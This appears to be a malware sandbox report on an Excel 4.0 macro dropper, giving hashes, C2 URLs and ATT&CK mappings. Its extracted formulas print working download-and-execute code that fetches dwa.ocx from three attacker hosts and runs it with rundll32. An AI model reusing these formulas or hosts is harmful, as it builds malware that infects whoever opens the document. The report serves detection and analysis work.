General

  • Target

    ?i=1ewkojktm

  • Size

    83KB

  • Sample

    220522-f6d61afhb8

  • MD5

    597e9be00a6e6597e041ea986dac1252

  • SHA1

    ec554fff3d8d0d18de86a1def864340963afb925

  • SHA256

    eb3e8690d152148f0bc7d306065ba030410ba35eb5e672f09041b20cf000ee4f

  • SHA512

    6cb5570a2394704f0e30c8dc9cabec9b1b5451e5035f9c0532e74ff951bd824f02f943325d41dfd56a9de1b85b816d24182aa35f75062e736809d9fb06bc59cb

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://mammy-chiro.com/case/ZTkBzbz/

http://bluetoothheadsetreview.xyz/wp-includes/xmdHAGgfki/

http://topline36.xyz/wp-includes/css/BB9Ajvjs89U9O/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mammy-chiro.com/case/ZTkBzbz/","..\dwa.ocx",0,0) =IF('RHEEHGF'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bluetoothheadsetreview.xyz/wp-includes/xmdHAGgfki/","..\dwa.ocx",0,0)) =IF('RHEEHGF'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://topline36.xyz/wp-includes/css/BB9Ajvjs89U9O/","..\dwa.ocx",0,0)) =IF('RHEEHGF'!D21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\rundll32.exe ..\dwa.ocx,D""&""l""&""lR""&""egister""&""Server") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://mammy-chiro.com/case/ZTkBzbz/

xlm40.dropper

http://bluetoothheadsetreview.xyz/wp-includes/xmdHAGgfki/

xlm40.dropper

http://topline36.xyz/wp-includes/css/BB9Ajvjs89U9O/

Targets

    • Target

      ?i=1ewkojktm

    • Size

      83KB

    • MD5

      597e9be00a6e6597e041ea986dac1252

    • SHA1

      ec554fff3d8d0d18de86a1def864340963afb925

    • SHA256

      eb3e8690d152148f0bc7d306065ba030410ba35eb5e672f09041b20cf000ee4f

    • SHA512

      6cb5570a2394704f0e30c8dc9cabec9b1b5451e5035f9c0532e74ff951bd824f02f943325d41dfd56a9de1b85b816d24182aa35f75062e736809d9fb06bc59cb

    Score
    10/10

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Tasks